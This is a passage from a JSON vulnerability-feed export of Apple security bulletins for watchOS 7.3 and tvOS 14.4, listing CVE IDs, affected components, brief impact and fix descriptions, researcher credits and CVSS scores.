"CVE-2021-1764", "CVE-2021-1750"], "modified": "2021-02-01T06:39:19", "id": "APPLE:HT212149", "href": "https://support.apple.com/kb/HT212149", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-02T04:43:06", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 7.3\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021\n\n**APFS**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021\n\n**CoreAnimation**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**CoreGraphics**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021\n\n**FairPlay**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu (@pwn0rz), Qi Sun & Mickey Jin of Trend Micro\n\nEntry added February 1, 2021\n\n**FontParser**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin from Ant-Financial Light-Year Security Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1746: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Qi Sun of Trend Micro\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Xingwei Lin of Ant Security Light-Year Lab, and Mickey Jin & Junzhi Lu of Trend Micro\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**IOSkywalkFamily**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021\n\n**iTunes Store**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: Maxime Villard (m00nbsd)\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Swift**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021\n\n**WebRTC**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 2021\n", "edition": 3, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-01T06:39:19", "title": "About the security content of watchOS 7.3 - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1818", "CVE-2021-1772", "CVE-2021-1778", "CVE-2021-1743", "CVE-2021-1769", "CVE-2021-1761", "CVE-2021-1792", "CVE-2021-1757", "CVE-2021-1744", "CVE-2021-1786", "CVE-2021-1791", "CVE-2021-1748", "CVE-2021-1773", "CVE-2021-1758", "CVE-2021-1787", "CVE-2021-1760", "CVE-2021-1746", "CVE-2021-1785", "CVE-2021-1741", "CVE-2021-1747", "CVE-2021-1801", "CVE-2021-1799", "CVE-2021-1788", "CVE-2021-1782", "CVE-2021-1766", "CVE-2021-1783", "CVE-2021-1797", "CVE-2021-1793", "CVE-2021-1776", "CVE-2021-1789", "CVE-2021-1764", "CVE-2021-1750"], "modified": "2021-02-01T06:39:19", "id": "APPLE:HT212148", "href": "https://support.apple.com/kb/HT212148", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-27T14:28:35", "description": "# About the security content of tvOS 14.4\n\nThis document describes the security content of tvOS 14.4.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## tvOS 14.4\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021\n\n**APFS**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021\n\n**CoreAnimation**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**CoreAudio**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**CoreGraphics**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021\n\n**CoreMedia**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1759: Hou JingYi (@hjy79425575) of Qihoo 360 CERT\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin (@patch1t) of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**CoreText**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021\n\n**FairPlay**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu(@pwn0rz), Qi Sun and Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**FontParser**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry added March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1766: Danny Rosseau of Carve Systems\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2021-1785: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1744: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1742: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1746: Jeonghoon Shin(@singi21a) of THEORI, Mickey Jin & Qi Sun of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1754: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1774: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1777: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1793: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1741: Xingwei Lin of Ant Security Light-Year Lab\n\nCVE-2021-1743: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative, Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: An out-of-bounds read issue existed in the curl. This issue was addressed with improved bounds checking.\n\nCVE-2021-1778: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted image may lead to arbitrary code execution\n\nDescription: An access issue was addressed with improved memory management.\n\nCVE-2021-1783: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**IOSkywalkFamily**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1757: Proteas and Pan ZhenPeng (@Peterpan0927) of Alibaba Security\n\nEntry added February 1, 2021\n\n**iTunes Store**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing a maliciously crafted URL may lead to arbitrary javascript code execution\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2021-1748: CodeColorist working with Ant Security Light-Year Labs\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1764: @m00nbsd\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1750: @0xalsr\n\nEntry added February 1, 2021\n\n**Kernel**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited.\n\nDescription: A race condition was addressed with improved locking.\n\nCVE-2021-1782: an anonymous researcher\n\n**Swift**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2021-1769: CodeColorist of Ant-Financial Light-Year Labs\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A use after free issue was addressed with improved memory management.\n\nCVE-2021-1788: Francisco Alonso (@revskills)\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Processing maliciously crafted web content may lead to arbitrary code execution\n\nDescription: A type confusion issue was addressed with improved state handling.\n\nCVE-2021-1789: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**WebKit**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: Maliciously crafted web content may violate iframe sandboxing policy\n\nDescription: This issue was addressed with improved iframe sandbox enforcement.\n\nCVE-2021-1801: Eliya Stein of Confiant\n\nEntry added February 1, 2021\n\n**WebRTC**\n\nAvailable for: Apple TV 4K and Apple TV HD\n\nImpact: A malicious website may be able to access restricted ports on arbitrary servers\n\nDescription: A port redirection issue was addressed with additional port validation.\n\nCVE-2021-1799: Gregory Vishnepolsky & Ben Seri of Armis Security, and Samy Kamkar\n\nEntry added February 1, 2021\n\n\n\n## Additional recognition\n\n**iTunes Store**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Kernel**\n\nWe would like to acknowledge Junzhi Lu (@pwn0rz), Mickey Jin & Jesse Change of Trend Micro for their assistance.\n\nEntry added February 1, 2021\n\n**libpthread**\n\nWe would like to acknowledge CodeColorist of Ant-Financial Light-Year Labs for their assistance.\n\nEntry added February 1, 2021\n\n**Store Demo**\n\nWe would like to acknowledge @08Tc3wBB for their assistance.\n\nEntry added February 1, 2021\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: March 16, 2021\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-26T00:00:00", "type": "apple", "title": "About the security content of tvOS 14.4", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1741", "CVE-2021-1742", "CVE-2021-1743", "CVE-2021-1744", "CVE-2021-1746", "CVE-2021-1747", "CVE-2021-1748", "CVE-2021-1750", "CVE-2021-1754", "CVE-2021-1757", "CVE-2021-1758", "CVE-2021-1759", "CVE-2021-1760", "CVE-2021-1761", "CVE-2021-1764", "CVE-2021-1766", "CVE-2021-1769", "CVE-2021-1772", "CVE-2021-1773", "CVE-2021-1774", "CVE-2021-1776", "CVE-2021-1777", "CVE-2021-1778", "CVE-2021-1782", "CVE-2021-1783", "CVE-2021-1785", "CVE-2021-1786", "CVE-2021-1787", "CVE-2021-1788", "CVE-2021-1789", "CVE-2021-1791", "CVE-2021-1792", "CVE-2021-1793", "CVE-2021-1797", "CVE-2021-1799", "CVE-2021-1801", "CVE-2021-1818"], "modified": "2021-01-26T00:00:00", "id": "APPLE:F8BE10D8CFAE590690202C33D00B6E6B", "href": "https://support.apple.com/kb/HT212149", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-30T06:02:31", "description": "# About the security content of watchOS 7.3\n\nThis document describes the security content of watchOS 7.3.\n\n## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page.\n\n\n\n## watchOS 7.3\n\nReleased January 26, 2021\n\n**Analytics**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2021-1761: Cees Elzinga\n\nEntry added February 1, 2021\n\n**APFS**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local user may be able to read arbitrary files\n\nDescription: The issue was addressed with improved permissions logic.\n\nCVE-2021-1797: Thomas Tempelmann\n\nEntry added February 1, 2021\n\n**CoreAnimation**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application could execute arbitrary code leading to compromise of user information\n\nDescription: A memory corruption issue was addressed with improved state management.\n\nCVE-2021-1760: @S0rryMybad of 360 Vulcan Team\n\nEntry added February 1, 2021\n\n**CoreAudio**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing maliciously crafted web content may lead to code execution\n\nDescription: An out-of-bounds write was addressed with improved input validation.\n\nCVE-2021-1747: JunDong Xie of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**CoreGraphics**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted font file may lead to arbitrary code execution\n\nDescription: An out-of-bounds write issue was addressed with improved bounds checking.\n\nCVE-2021-1776: Ivan Fratric of Google Project Zero\n\nEntry added February 1, 2021\n\n**CoreText**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted text file may lead to arbitrary code execution\n\nDescription: A stack overflow was addressed with improved input validation.\n\nCVE-2021-1772: Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**CoreText**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1792: Mickey Jin & Junzhi Lu of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local user may be able to create or modify system files\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1786: Csaba Fitzl (@theevilbit) of Offensive Security\n\nEntry added February 1, 2021\n\n**Crash Reporter**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A local attacker may be able to elevate their privileges\n\nDescription: Multiple issues were addressed with improved logic.\n\nCVE-2021-1787: James Hutchins\n\nEntry added February 1, 2021\n\n**FairPlay**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A malicious application may be able to disclose kernel memory\n\nDescription: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed with improved input validation.\n\nCVE-2021-1791: Junzhi Lu(@pwn0rz), Qi Sun and Mickey Jin of Trend Micro working with Trend Micro\u2019s Zero Day Initiative\n\nEntry added February 1, 2021, updated March 16, 2021\n\n**FontParser**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause arbitrary code execution\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2021-1758: Peter Nguyen of STAR Labs\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1818: Xingwei Lin of Ant-Financial Light-Year Security Lab\n\nEntry added March 16, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and later\n\nImpact: Processing a maliciously crafted image may lead to a denial of service\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2021-1773: Xingwei Lin of Ant Security Light-Year Lab\n\nEntry added February 1, 2021\n\n**ImageIO**\n\nAvailable for: Apple Watch Series 3 and 